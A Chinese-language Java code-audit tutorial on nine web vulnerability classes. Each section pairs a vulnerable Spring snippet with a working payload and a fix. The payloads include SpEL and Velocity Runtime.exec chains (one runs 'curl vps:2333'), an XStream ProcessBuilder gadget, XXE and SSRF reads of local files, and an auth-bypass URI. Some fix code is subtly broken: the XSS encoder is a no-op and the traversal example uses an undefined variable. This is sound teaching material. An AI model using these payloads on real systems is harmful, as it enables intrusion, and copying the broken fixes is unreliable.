Java代码审计漏洞详解与防护指南
前言
本文详细讲解Java代码审计中常见的漏洞类型,包括GetRequestURI、PathTraversal、SpEL、SSRF、URLRedirect、SSTI、XSS、XStreamRCE以及XXE等漏洞的原理、利用方式和修复方案。
1. GetRequestURI权限绕过漏洞
漏洞原理
当应用存在静态资源目录(如/css/)时,开发者常用getRequestURI()获取URI后判断是否包含特定字符串(如"/css/")来决定是否进行权限校验。攻击者可构造特殊URI绕过权限检查。
漏洞代码示例
@GetMapping(value = "/exclued/vuln")
public String exclued(HttpServletRequest request) {
String[] excluedPath = {"/css/**", "/js/**"};
String uri = request.getRequestURI();
PathMatcher matcher = new AntPathMatcher();
for (String path : excluedPath) {
if (matcher.match(path, uri)) {
return "You have bypassed the login page.";
}
}
return "This is a login page >..<";
}
攻击方式
构造URI:/css/..;/exclued/vuln
修复方案
使用getServletPath()替代getRequestURI(),该方法会自动对URL进行标准化处理:
String uri = request.getServletPath();
2. 路径遍历(PathTraversal)漏洞
漏洞原理
未对用户输入的文件路径进行严格校验,攻击者可通过../等特殊字符访问系统任意文件。
漏洞代码示例
@GetMapping("/path_traversal/vul")
public String getImage(String filepath) throws IOException {
File f = new File(filepath);
if (f.exists() && !f.isDirectory()) {
byte[] data = Files.readAllBytes(Paths.get(imgFile));
return new String(Base64.encodeBase64(data));
}
return "File doesn't exist or is not a file.";
}
攻击方式
?filepath=../../etc/passwd
修复方案
public static String pathFilter(String filepath) {
String temp = filepath;
// 处理多层URL编码
while (temp.indexOf('%') != -1) {
try {
temp = URLDecoder.decode(temp, "utf-8");
} catch (Exception e) {
return null;
}
}
if (temp.contains("..") || temp.charAt(0) == '/') {
return null;
}
return filepath;
}
3. SpEL表达式注入漏洞
漏洞原理
Spring Expression Language (SpEL)表达式注入,当用户输入直接作为SpEL表达式解析时,可导致任意代码执行。
漏洞代码示例
@RequestMapping("/spel/vuln1")
public String spel_vuln1(String value) {
ExpressionParser parser = new SpelExpressionParser();
return parser.parseExpression(value).getValue().toString();
}
攻击方式
T(java.lang.Runtime).getRuntime().exec("curl vps:2333")
模板表达式攻击
@RequestMapping("spel/vuln2")
public String spel_vuln2(String value) {
StandardEvaluationContext context = new StandardEvaluationContext();
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(value, new TemplateParserContext());
Object x = expression.getValue(context);
return x.toString();
}
攻击payload:#{T(java.lang.Runtime).getRuntime().exec('open -a Calculator')}
修复方案
- 使用
SimpleEvaluationContext替代StandardEvaluationContext - 对用户输入进行严格过滤
4. SSRF(服务端请求伪造)漏洞
漏洞原理
攻击者利用服务端发起任意HTTP请求,可探测内网或读取本地文件。
漏洞代码示例
@RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET})
public String URLConnectionVuln(String url) {
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
// ...读取响应...
}
攻击方式
?url=file:///etc/passwd
修复方案
@GetMapping("/urlConnection/sec")
public String URLConnectionSec(String url) {
// 只允许http/https协议
if (!SecurityUtil.isHttp(url)) {
return "[-] SSRF check failed";
}
// 检查URL是否安全
if (!SSRFChecker.checkSSRF(url, 10)) {
return "[-] SSRF check failed";
}
return HttpUtils.URLConnection(url);
}
5. URL重定向漏洞
漏洞原理
未对重定向URL进行校验,导致可跳转至任意恶意网站。
漏洞代码示例
@GetMapping("/redirect")
public String redirect(@RequestParam("url") String url) {
return "redirect:" + url;
}
攻击方式
?url=http://evil.com
修复方案
@RequestMapping("/sendRedirect/sec")
@ResponseBody
public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response) throws IOException {
String url = request.getParameter("url");
if (SecurityUtil.checkURL(url) == null) {
response.setStatus(HttpServletResponse.SC_FORBIDDEN);
response.getWriter().write("url forbidden");
return;
}
response.sendRedirect(url);
}
6. SSTI(服务端模板注入)漏洞
漏洞原理
当用户输入直接作为模板内容解析时,可导致任意代码执行。
漏洞代码示例(Velocity模板)
@GetMapping("/velocity")
public void velocity(String template) {
Velocity.init();
VelocityContext context = new VelocityContext();
StringWriter swOut = new StringWriter();
Velocity.evaluate(context, swOut, "test", template);
}
攻击方式
Velocity模板注入payload:
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("")
修复方案
- 避免直接使用用户输入作为模板
- 对模板变量进行严格过滤
7. XSS(跨站脚本)漏洞
反射型XSS
@RequestMapping("/reflect")
@ResponseBody
public static String reflect(String xss) {
return xss;
}
攻击:?xss=<script>alert(1)</script>
存储型XSS
@RequestMapping("/stored/store")
@ResponseBody
public String store(String xss, HttpServletResponse response) {
Cookie cookie = new Cookie("xss", xss);
response.addCookie(cookie);
return "Set param into cookie";
}
@RequestMapping("/stored/show")
@ResponseBody
public String show(@CookieValue("xss") String xss) {
return xss;
}
修复方案
private static String encode(String origin) {
origin = StringUtils.replace(origin, "&", "&");
origin = StringUtils.replace(origin, "<", "<");
origin = StringUtils.replace(origin, ">", ">");
origin = StringUtils.replace(origin, "\"", """);
origin = StringUtils.replace(origin, "'", "'");
origin = StringUtils.replace(origin, "/", "/");
return origin;
}
8. XStream反序列化漏洞
漏洞原理
XStream在反序列化XML时未做严格限制,可导致任意代码执行。
漏洞代码示例
@PostMapping("/xstream")
public String parseXml(HttpServletRequest request) throws Exception {
String xml = WebUtils.getRequestBody(request);
XStream xstream = new XStream(new DomDriver());
xstream.fromXML(xml);
return "xstream";
}
攻击payload
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/aaaaa</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
修复方案
- 升级XStream到安全版本(1.4.11+)
- 配置安全框架限制反序列化类
9. XXE(XML外部实体注入)漏洞
漏洞原理
XML解析时允许加载外部实体,可导致任意文件读取或SSRF。
漏洞代码示例
@RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST)
public String DocumentBuilderVuln01(HttpServletRequest request) {
String body = WebUtils.getRequestBody(request);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
InputSource is = new InputSource(new StringReader(body));
Document document = db.parse(is);
// ...处理XML...
}
攻击payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE joychou [
<!ENTITY xxe SYSTEM "file:///tmp/111.txt">
]>
<root>&xxe;</root>
修复方案
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// 禁用外部实体
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder db = dbf.newDocumentBuilder();
总结
本文详细介绍了Java Web应用中常见的九类安全漏洞,每种漏洞都从原理、攻击方式和修复方案三个维度进行了深入分析。在实际开发中,开发者应:
- 对所有用户输入进行严格校验和过滤
- 使用安全的API替代危险API
- 及时更新框架和库到安全版本
- 遵循最小权限原则
- 实施深度防御策略
通过全面的安全编码实践和定期的代码审计,可以有效预防这些安全漏洞的产生。